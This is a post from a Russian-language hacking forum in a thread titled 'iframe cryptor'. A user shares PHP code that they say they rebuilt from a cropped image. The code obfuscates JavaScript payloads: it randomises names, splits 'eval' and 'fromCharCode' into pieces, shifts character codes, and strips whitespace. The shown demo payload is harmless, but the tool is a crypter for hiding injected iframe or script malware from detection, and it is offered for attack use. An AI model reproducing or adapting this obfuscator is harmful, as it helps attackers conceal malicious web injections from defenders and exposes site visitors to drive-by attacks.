• XSS.stack #1 – первый литературный журнал от юзеров форума

iframe cryptor

GOONER

(L3) cache
Пользователь
Регистрация
25.10.2009
Сообщения
182
Реакции
1
Вот по-быстрому запилил свою версию. Есть кое-какие различия с оригиналом, (в картинке откусан край, поэтому код пришлось угадывать). но в целом похоже.

Код:
<?php
function randName()
{
	$chars = str_shuffle("ABCDFGHIJKLMNOPSTUVWXYZabcdefghijklmnopqrstwxyz");
	return substr($chars,0,rand(5,10));
}

function randSplit($s) {
  $l = strlen($s);
  if ($l==0) return $s;
  $r = rand(1,$l);
  $p1 = substr($s,0,$r);
  $p2 = substr($s,$r, $l - $r);
  return array($p1,$p2);
}


function obfuscate($src) {
  $js_vare=randName();
  $js_varf=randName();
  $js_varh=randName();
  $js_vari=randName();
  $js_varj=randName();
  $js_varr=randName();
  $js_vars=randName();
  $js_varv=randName();
  $js_varw=randName();
  $js_varz=randName();
  $js_var2=randName();
  $js_var3=randName();
  $js_var4=randName();
  $js_var1=randName();
  $js_varq=randName();

  $js_charCode = randSplit("fromCharCode");

  $js_eval = randSplit("eval");
  $js_createElement = randSplit("createElement");
  $b = rand(2,100);


  $data = array();
  for ($i = 0; $i < strlen($src); $i++) {
    $ch = ord($src[$i]) - $b;
    $data[$i] = $ch;
  }
  $data = implode($data,',');
  $datalen = strlen($src);
  $scr = <<<EOT
<script>$js_vari=0;
try { $js_var1 = 0;
  try { $js_var2 = prototype;}
  catch($js_varz){
    $js_varh="{$js_charCode[1]}";
    $js_varf=[$data];
    $js_varv="{$js_eval[0]}";
    if ($js_varv) $js_vare = window[$js_varv+"{$js_eval[1]}"];
  }
  try{
    $js_varq=document["{$js_createElement[0]}"+"{$js_createElement[1]}"]("b");
    $js_varq.appendChild($js_varq+"");
  } catch ($js_var3) {
    $js_varw=$js_varf;
    $js_vars=[];
  }
  $js_varr=String;
  $js_varz=(($js_vare)?$js_varh:"");
  for(;$datalen!=$js_vari;$js_vari+=1){
    $js_varj=$js_vari;
    if ($js_vare) $js_vars = $js_vars + {$js_varr}["{$js_charCode[0]}"+
       (({$js_vare})?{$js_varz}:12)]({$js_varw}[{$js_varj}]*1+$b);
  }
  if ($js_vare && $js_varv && $js_varr && $js_varz && $js_varh && $js_vars && $js_varv && $js_varf) alert($js_vars);
 } catch ($js_var4){}
</script>
EOT;
  $scr=str_replace(" ", "", $scr);
  $scr=str_replace("\n", "", $scr);
  $scr=str_replace("\r", "", $scr);
  $scr=str_replace("\t", "", $scr);
  return $scr;
}

echo obfuscate("alert(1)");
?>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх